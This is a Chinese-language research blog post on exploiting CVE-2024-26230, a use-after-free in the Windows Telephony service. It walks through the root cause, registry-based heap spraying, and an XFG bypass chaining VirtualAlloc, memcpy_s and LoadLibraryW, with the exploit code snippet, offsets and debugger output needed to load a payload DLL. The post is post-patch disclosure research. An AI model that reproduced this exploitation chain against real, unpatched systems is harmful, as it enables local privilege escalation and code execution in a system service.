巧妙利用CVE-2024-26230:一个Windows 11 XFG绕过与UAF漏洞利用的故事

本文深入分析了Microsoft电话服务中的UAF漏洞CVE-2024-26230,详细描述了漏洞成因、利用原语的发现、堆风水布局,并重点介绍了一种绕过Windows 11 XFG缓解措施的巧妙技巧,最终实现任意代码执行。

一个技巧:CVE-2024-26230的故事

作者:昆仑实验室的k0shl

摘要

2024年4月,微软修复了电话服务中的一个释放后重用漏洞,该漏洞由我报告并分配为CVE-2024-26230。我已经完成了漏洞利用,并采用了一种有趣的技巧来绕过Windows 11上的XFG缓解措施。

未来,在我关于漏洞和利用发现的个人博客文章中,我不仅打算介绍漏洞利用阶段,还希望分享我逐步完成漏洞利用的思考过程。在这篇博客中,我将深入探讨这个技巧背后的技术以及CVE-2024-26230的漏洞利用过程。

根本原因

电话服务是一项基于RPC的服务,默认不运行,但可以通过普通用户权限调用StartServiceW API来激活。

电话RPC服务器接口只有三个函数。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
long ClientAttach(
    [out][context_handle] void** arg_0,
    [in]long arg_1,
    [out]long *arg_2,
    [in][string] wchar_t* arg_3,
    [in][string] wchar_t* arg_4);

void ClientRequest(
    [in][context_handle] void* arg_0,
    [in][out] /* [DBG] FC_CVARRAY */[size_is(arg_2)][length_is(, *arg_3)]char *arg_1/*[] CONFORMANT_ARRAY*/,
    [in]long arg_2,
    [in][out]long *arg_3);

void ClientDetach(
    [in][out][context_handle] void** arg_0);

很容易理解,ClientAttach方法可以创建一个上下文句柄,ClientRequest方法可以使用指定的上下文句柄处理请求,而ClientDetach方法可以释放上下文句柄。

实际上,有一个名为"gaFuncs"的全局变量,它在ClientRequest方法中充当路由器变量,将请求分派到特定的分发函数。它路由到的分发函数取决于一个可以由攻击者控制的值。

在这些分发函数内部,可以处理许多对象。这些对象由函数NewObject创建,该函数将它们插入到一个名为"ghHandleTable"的全局句柄表中。每个对象都持有一个唯一的魔术值。当电话服务引用一个对象时,它会调用ReferenceObject函数来比较魔术值并从句柄表中检索它。

该漏洞存在于魔术值为"GOLD"的对象上,这些对象可以由函数"GetUIDllName"创建。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
void __fastcall GetUIDllName(__int64 a1, int *a2, unsigned int a3, __int64 a4, _DWORD *a5)
{
[...]
if ( object )
      {
        *object = 0x474F4C44; // =====> [a]
        v38 = *(_QWORD *)(contexthandle + 184);
        *((_QWORD *)object + 10) = v38;
        if ( v38 )
          *(_QWORD *)(v38 + 72) = object;
        *(_QWORD *)(contexthandle + 184) = object; // =======> [b]
        a2[8] = object[22];
      }
[...]
}

如上代码所示,服务将魔术值0x474F4C44(GOLD)存储到对象中[a],并将对象插入到上下文句柄对象中[b]。通常,大多数对象存储在上下文句柄对象内部,该对象在ClientAttach函数中初始化。当服务引用一个对象时,它会检查该对象是否属于指定的上下文句柄对象,如下面代码所示:

1
2
3
4
5
    v28 = ReferenceObject(v27, a3, 0x494C4343); // 引用对象
    if ( v28
      && (TRACELogPrint(262146i64, "LineProlog: ReferenceObject returned ptCallClient %p", v28),
          *((_QWORD *)v28 + 1) == context_handle_object) // 检查对象是否属于上下文句柄对象 )
    {

然而,当释放"GOLD"对象时,它不会检查该对象是否属于上下文句柄。因此,我可以利用这一点,创建两个上下文句柄:一个持有"GOLD"对象,另一个调用分发函数"FreeDiagInstance"来释放"GOLD"对象。结果,“GOLD"对象被释放,而原始的上下文句柄对象仍然持有"GOLD"对象指针。

1
2
3
4
5
6
7
8
9
__int64 __fastcall FreeDialogInstance(unsigned __int64 a1, _DWORD *a2)
{
[...]
v4 = (_DWORD *)ReferenceObject(a1, (unsigned int)a2[2], 0x474F4C44i64);
  [...]
  if ( *v4 == 0x474F4C44 ) // 只检查魔术值是否等于0x474f4c44,不检查对象是否属于上下文句柄对象
[...]
  // 释放对象
}

这导致原始上下文句柄对象持有一个悬空指针。因此,分发函数"TUISPIDLLCallback"使用了这个悬空指针,导致了释放后重用漏洞。结果,当尝试引用虚函数时,电话服务崩溃。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
__int64 __fastcall TUISPIDLLCallback(__int64 a1, _DWORD *a2, int a3, __int64 a4, _DWORD *a5)
{
[...]
 v7 = (unsigned int)controlledbuffer[2];
  v8 = 0i64;
  v9 = controlledbuffer + 4;
  v10 = controlledbuffer + 5;
  if ( (unsigned int)IsBadSizeOffset(a3, 0, controlledbuffer[5], controlledbuffer[4], 4) )
    goto LABEL_30;
  switch ( controlledbuffer[3] )
  {
[...]
case 3:
      for ( freedbuffer = *(_QWORD *)(context_handle_object + 0xB8); freedbuffer; freedbuffer = *(_QWORD *)(freedbuffer + 80) ) // ===========> 上下文句柄对象在偏移0xB8处持有悬空指针
      {
        if ( controlledbuffer[2] == *(_DWORD *)(freedbuffer + 16) ) // 比较值
        {
          v8 = *(__int64 (__fastcall **)(__int64, _QWORD, __int64, _QWORD))(freedbuffer + 32); // 引用悬空指针内的虚函数
          goto LABEL_27;
        }
      }
      break;
[...]

 if ( v8 )
  {
    result = v8(v7, (unsigned int)controlledbuffer[3], a4 + *v9, *v10); // ====> 触发UaF
[...]
}

请注意,上面代码中的可控缓冲区指的是RPC客户端的输入缓冲区,其所有内容都可以由攻击者控制。这最终导致了崩溃。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
0:001> R
rax=0000000000000000 rbx=0000000000000000 rcx=3064c68a8d720000
rdx=0000000000080006 rsi=0000000000000000 rdi=00000000474f4c44
rip=00007ffcb4b4955c rsp=000000ec0f9bee80 rbp=0000000000000000
 r8=000000ec0f9bea30  r9=000000ec0f9bee90 r10=ffffffffffffffff
r11=000000ec0f9be9e8 r12=0000000000000000 r13=00000203df002b00
r14=00000203df002b00 r15=000000ec0f9bf238
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
tapisrv!FreeDialogInstance+0x7c:
00007ffc`b4b4955c 393e            cmp     dword ptr [rsi],edi ds:00000000`00000000=????????
0:001> K
 # Child-SP          RetAddr               Call Site
00 000000ec`0f9bee80 00007ffc`b4b47295     tapisrv!FreeDialogInstance+0x7c
01 000000ec`0f9bf1e0 00007ffc`b4b4c8bc     tapisrv!CleanUpClient+0x451
02 000000ec`0f9bf2a0 00007ffc`d9b85809     tapisrv!PCONTEXT_HANDLE_TYPE_rundown+0x9c
03 000000ec`0f9bf2e0 00007ffc`d9b840f6     RPCRT4!NDRSRundownContextHandle+0x21
04 000000ec`0f9bf330 00007ffc`d9bcb935     RPCRT4!DestroyContextHandlesForGuard+0xbe
05 000000ec`0f9bf370 00007ffc`d9bcb8b4     RPCRT4!OSF_ASSOCIATION::~OSF_ASSOCIATION+0x5d
06 000000ec`0f9bf3a0 00007ffc`d9bcade4     RPCRT4!OSF_ASSOCIATION::`vector deleting destructor'+0x14
07 000000ec`0f9bf3d0 00007ffc`d9bcad27     RPCRT4!OSF_ASSOCIATION::RemoveConnection+0x80
08 000000ec`0f9bf400 00007ffc`d9b8704e     RPCRT4!OSF_SCONNECTION::FreeObject+0x17
09 000000ec`0f9bf430 00007ffc`d9b861ea     RPCRT4!REFERENCED_OBJECT::RemoveReference+0x7e
0a 000000ec`0f9bf510 00007ffc`d9b97f5c     RPCRT4!OSF_SCONNECTION::ProcessReceiveComplete+0x18e
0b 000000ec`0f9bf610 00007ffc`d9b97e22     RPCRT4!CO_ConnectionThreadPoolCallback+0xbc
0c 000000ec`0f9bf690 00007ffc`d8828f51     RPCRT4!CO_NmpThreadPoolCallback+0x42
0d 000000ec`0f9bf6d0 00007ffc`db34aa58     KERNELBASE!BasepTpIoCallback+0x51
0e 000000ec`0f9bf720 00007ffc`db348d03     ntdll!TppIopExecuteCallback+0x198

寻找原语

当我发现这个漏洞时,我很快意识到它可以被利用,因为我可以控制对象释放和使用的时机。

然而,利用的第一个挑战是我需要一个利用原语。Ring 3世界与Ring 0世界不同。在内核模式下,我可以使用各种对象作为原语,即使它们类型不同。但在用户模式下,我只能使用同一进程内的对象。这意味着如果目标进程中没有合适的对象,我就无法利用该漏洞。

因此,我需要确保电话服务中是否存在合适的对象。有一个小技巧是,我甚至不需要一个“对象”。我想要的只是一个我可以控制大小和内容的内存分配。

经过逆向工程,我发现了一个有趣的原语。有一个名为"TRequestMakeCall"的分发函数,它打开电话服务的注册表键,并分配内存来存储键值。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
if ( !RegOpenCurrentUser(0xF003Fu, &phkResult) ) // ==========> [a]
  {
    if ( !RegOpenKeyExW(
            phkResult,
            L"Software\\Microsoft\\Windows\\CurrentVersion\\Telephony\\HandoffPriorities",
            0,
            0x20019u,
            &hKey) )
    {
      GetPriorityList(hKey, L"RequestMakeCall"); // ==========> [b]
      RegCloseKey(hKey);
    }

///////////////////////////////////////////
if ( RegQueryValueExW(hKey, lpValueName, 0i64, &Type, 0i64, &cbData) || !cbData ) // =============> [c]
  {
    [...]
  }
  else
  {
    v6 = HeapAlloc(ghTapisrvHeap, 8u, cbData + 2); // ===========> [d]
    v7 = (wchar_t *)v6;
    if ( v6 )
    {
      *(_WORD *)v6 = 34;
      LODWORD(v6) = RegQueryValueExW(hKey, lpValueName, 0i64, &Type, (LPBYTE)v6 + 2, &cbData); // ==============> [e]
      [...]
  }

在分发函数"TRequestMakeCall"中,它首先打开HKCU根键[a],然后调用GetPriorityList函数来获取"RequestMakeCall"键值。在检查键权限后,确定该键可以被当前用户完全控制,这意味着我可以修改键值。在GetPriorityList函数中,它首先检索键的类型和大小,然后分配一个堆来存储键值。这意味着如果我能控制键值,我也能控制堆的大小和内容。

“RequestMakeCall"的默认类型是REG_SZ,但由于当前用户对其拥有完全控制权限,我可以删除默认值并创建一个REG_BINARY类型的键值。这使我能够将大小和内容设置为任意值,使其成为一个有用的原语。

堆风水

在确保存在合适的原语之后,我认为现在可以开始堆风水了。因为我可以控制对象的分配、释放和使用的时机,所以很容易想出一个布局。

首先,我使用"GetUIDllName"函数分配足够多的"GOLD"对象。

然后,我使用"FreeDiagInstance"函数释放其中一些,以制造一些空洞。

接下来,我分配一个用于触发释放后重用漏洞的"工作GOLD"对象。

之后,我释放带有漏洞的工作对象。此时,工作上下文句柄对象仍然持有工作对象的悬空指针。

紧接着,我删除"RequestMakeCall"键值,并创建一个具有可控内容的REG_BINARY类型键。然后,我分配一些键值堆,以确保它们占据工作对象留下的空洞。

XFG缓解措施

在上一节堆风水的最后一步之后,受控的键值堆占据了目标空洞,当我调用"TUISPIDLLCallback"函数触发"使用"步骤时,如上文伪代码所示,受控缓冲区是RPC接口的输入缓冲区,如果我将其设置为3,它将比较一个魔术值与工作对象,然后从工作对象中获取一个虚函数地址。因此,我只需要在注册表键值的内容中设置这两个值。

1
2
3
4
5
6
    RegDeleteKeyValueW(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Telephony\\HandoffPriorities", L"RequestMakeCall");
    RegOpenKeyW(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Telephony\\HandoffPriorities", &hkey);
    BYTE lpbuffer[0x5e] = { 0 };
    *(PDWORD)((ULONG_PTR)lpbuffer + 0xE) = (DWORD)0x40000018;
    *(PULONG_PTR)((ULONG_PTR)lpbuffer + 0x1E) = (ULONG_PTR)jmpaddr; // 伪造指针
    RegSetValueExW(hkey, L"RequestMakeCall", 0, REG_BINARY, lpbuffer, 0x5E);

看起来只剩下最后一步就可以完成利用了。我可以控制虚函数的地址,这意味着我可以控制RIP寄存器。如果没有XFG缓解措施,我可以使用ROP。然而,XFG会限制RIP寄存器跳转到ROP gadget地址,当控制流检查失败时会导致INT29异常。

最后一步,真正的挑战

就像我之前的博客文章——CNG密钥隔离的利用——中介绍的那样,当我能够控制RIP时,调用LoadLibrary来加载payload DLL是很有用的。然而,这次当我尝试将虚函数地址设置为LoadLibrary地址时,很快遇到了一些挑战。

让我们回顾一下"TUISPIDLLCallback"分发函数中的虚函数调用:

1
result = v8((unsigned int)controlledbuffer[2], (unsigned int)controlledbuffer[3], buffer + *(controlledbuffer + 4), *(controlledbuffer + 5)); // ====> 触发UaF

第一个参数是一个DWORD类型的值,它从RPC输入缓冲区获得,可以由客户端控制。

第二个参数也来自RPC输入缓冲区,但它必须是一个常量值,它等于我在上一节提到的case编号,必须是3。

第三个参数是一个指针。buffer是受控缓冲区地址加上0x3C的偏移量。此外,这个指针会加上一个偏移量,该偏移量来自受控的RPC输入缓冲区。

第四个参数是一个DWORD类型,来自受控的RPC输入缓冲区。

很明显,为了跳转到LoadLibrary来加载payload DLL,第一个参数应该是一个指向payload DLL路径的指针。然而,在这种情况下,它是一个DWORD类型的值。

所以我不能直接使用LoadLibrary来加载payload DLL,我需要找到另一种方法来完成利用。此时,我想找一个间接函数来加载payload DLL,因为第三个参数是一个指针,我可以控制它的内容,我需要一个函数包含以下代码:

1
2
3
4
5
6
func(a1, a2, a3, ...){
[...]
    path = a3;
    LoadLibarary(path);
[...]
}

这种场景的限制在于,我无法控制在RPC服务器中加载哪个DLL。因此,我只能使用RPC服务器中现有的DLL,这需要我花一些时间找到一个符合条件的函数。但最终没有找到符合条件的函数。

看起来我们又回到了起点。我再次回顾了MSDN中的一些API,希望能找到另一种场景。

这个技巧

一段时间后,我想起了一个有趣的API——VirtualAlloc

1
2
3
4
5
6
LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);

VirtualAlloc的第一个参数是lpAddress,可以设置为指定的值,进程将在这个地址分配内存。

我注意到我可以用这个函数分配一个32位地址!

第二个参数是一个常量值,表示要分配的缓冲区大小。然而,这对我的目的来说不是必需的。最后一个参数是一个受控的DWORD值,我可以将其设置为flProtect的值。我可以将其设置为PAGE_EXECUTE_READWRITE (0x40)。

但是第三个参数带来了新的挑战。

第三个参数是flAllocationType,在我的场景中,它是一个指针。这意味着指针的低32位应该是flAllocationType。我需要将其设置为MEM_COMMIT(0x1000) | MEM_RESERVE(0x2000)。虽然我可以控制偏移量,但我不知道指针的地址,所以我无法将指针的低32位设置为指定值。我尝试用一些随机值分配堆,但都失败了。

让我们再次回顾"使用"代码:

1
2
3
4
5
6
result = v8((unsigned int)controlledbuffer[2], (unsigned int)controlledbuffer[3], buffer + *(controlledbuffer + 4), *(controlledbuffer + 5)); // ====> 触发UaF
if(!result){
[...]
}
*controlledbuffer = result;
return result;

虚函数的返回值将被存储到受控缓冲区,然后返回给客户端。这意味着如果我使用MIDL_user_allocate这样的函数分配内存,它将返回一个64位地址,但只有地址的低32位会返回给客户端。这将是一个有用的信息泄露。

但我仍然无法在调用VirtualAlloc时预测第三个参数的低32位值。所以,我尝试增加分配缓冲区的大小,看看是否有任何规律。实际上,RPC客户端可以设置的最大大小大于0x40000000。当我把分配大小设置为0x40000000时,我发现了一个有趣的情况。

我发现在分配大小设置为0x40000000时,指针的低32位地址是线性增长的,这使得它可以被预测。

也就是说,例如,如果泄露的低32位返回0xbd700000,我知道如果我将输入缓冲区大小设置为0x40000000,那么下一个受控缓冲区的低32位将是0xfd800000。此外,第三个参数的偏移量不能大于输入缓冲区的大小。因此,我需要确保低32位地址大于0xc0000000。这样,在地址加上偏移量后,第三个参数的低32位可能会变成一个大于0x100000000的DWORD值。有可能将第三个参数设置为0x3000MEM_COMMIT(0x1000) | MEM_RESERVE(0x2000))。

到目前为止,我已经完成了堆风水,并用可控的注册表键值控制了堆空洞的所有内容。为了绕过XFG缓解措施,我首先需要通过将键值设置为MIDL_user_allocate函数地址来泄露低32位地址,然后将键值设置为VirtualAlloc函数地址。显然,如果我成功分配32位地址,事情并没有结束,我需要多次调用"TUISPIDLLCallback"来绕过XFG缓解措施。好消息是我可以控制"使用"的时机,所以我需要做的就是释放注册表键值堆,用目标函数地址设置新的键值,分配一个新的键值堆,然后再使用它。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
tapisrv!TUISPIDLLCallback+0x1cc:
00007fff`7c27fecc ff154ee80000    call    qword ptr [tapisrv!_guard_xfg_dispatch_icall_fptr (00007fff`7c28e720)] ds:00007fff`7c28e720={ntdll!LdrpDispatchUserCallTarget (00007fff`afcded40)}
0:007> u rax
KERNEL32!VirtualAllocStub:
00007fff`aeae3bf0 48ff2551110700  jmp     qword ptr [KERNEL32!_imp_VirtualAlloc (00007fff`aeb54d48)]
00007fff`aeae3bf7 cc              int     3
00007fff`aeae3bf8 cc              int     3
00007fff`aeae3bf9 cc              int     3
00007fff`aeae3bfa cc              int     3
00007fff`aeae3bfb cc              int     3
00007fff`aeae3bfc cc              int     3
00007fff`aeae3bfd cc              int     3
0:007> r r8d
r8d=3000
0:007> r r9d
r9d=40
0:007> r rcx
rcx=00000000ba000000
0:007> r rdx
rdx=0000000000000003

根据调试信息,我们可以看到每个参数都满足要求。在调用VirtualAlloc函数后,我们成功分配了一个32位地址。

1
2
3
4
5
6
7
8
9
0:007> p
tapisrv!TUISPIDLLCallback+0x1d2:
00007fff`7c27fed2 85c0            test    eax,eax
0:007> dq ba000000
00000000`ba000000  00000000`00000000 00000000`00000000
00000000`ba000010  00000000`00000000 00000000`00000000
00000000`ba000020  00000000`00000000 00000000`00000000
00000000`ba000030  00000000`00000000 00000000`00000000
00000000`ba000040  00000000`00000000 00000000`00000000

这意味着我已经成功地将第一个参数控制为一个指针。下一步是将payload DLL路径复制到32位地址中。但是,我不能使用memcpy函数,因为第二个参数是常量值,必须是3。相反,我决定使用memcpy_s函数,其中第二个参数表示复制长度,第三个参数是源地址。我一次只能复制3个字节,但我可以多次调用它来完成路径复制。

1
2
3
4
5
6
0:009> dc ba000000
00000000`ba000000  003a0043 0055005c 00650073 00730072  C.:.\.U.s.e.r.s.
00000000`ba000010  0070005c 006e0077 0041005c 00700070  \.p.w.n.\.A.p.p.
00000000`ba000020  00610044 00610074 0052005c 0061006f  D.a.t.a.\.R.o.a.
00000000`ba000030  0069006d 0067006e 0066005c 006b0061  m.i.n.g.\.f.a.k.
00000000`ba000040  00640065 006c006c 0064002e 006c006c  e.d.l.l...d.l.l.

最后一步是调用LoadLibrary来加载payload DLL。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
0:009> u
KERNELBASE!LoadLibraryW:
00007fff`ad1f2480 4533c0          xor     r8d,r8d
00007fff`ad1f2483 33d2            xor     edx,edx
00007fff`ad1f2485 e9e642faff      jmp     KERNELBASE!LoadLibraryExW (00007fff`ad196770)
00007fff`ad1f248a cc              int     3
00007fff`ad1f248b cc              int     3
00007fff`ad1f248c cc              int     3
00007fff`ad1f248d cc              int     3
00007fff`ad1f248e cc              int     3
0:009> dc rcx
00000000`ba000000  003a0043 0055005c 00650073 00730072  C.:.\.U.s.e.r.s.
00000000`ba000010  0070005c 006e0077 0041005c 00700070  \.p.w.n.\.A.p.p.
00000000`ba000020  00610044 00610074 0052005c 0061006f  D.a.t.a.\.R.o.a.
00000000`ba000030  0069006d 0067006e 0066005c 006b0061  m.i.n.g.\.f.a.k.
00000000`ba000040  00640065 006c006c 0064002e 006l006c  e.d.l.l...d.l.l.
00000000`ba000050  00000000 00000000 00000000 00000000  ................
00000000`ba000060  00000000 00000000 00000000 00000000  ................
00000000`ba000070  00000000 00000000 00000000 00000000  ................
0:009> k
 # Child-SP          RetAddr               Call Site
00 000000ab`ac97eac8 00007fff`7c27fed2     KERNELBASE!LoadLibraryW
01 000000ab`ac97ead0 00007fff`7c27817a     tapisrv!TUISPIDLLCallback+0x1d2
02 000000ab`ac97eb60 00007fff`afb57f13     tapisrv!ClientRequest+0xba

2024-04-10 阅读次数: 21418

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计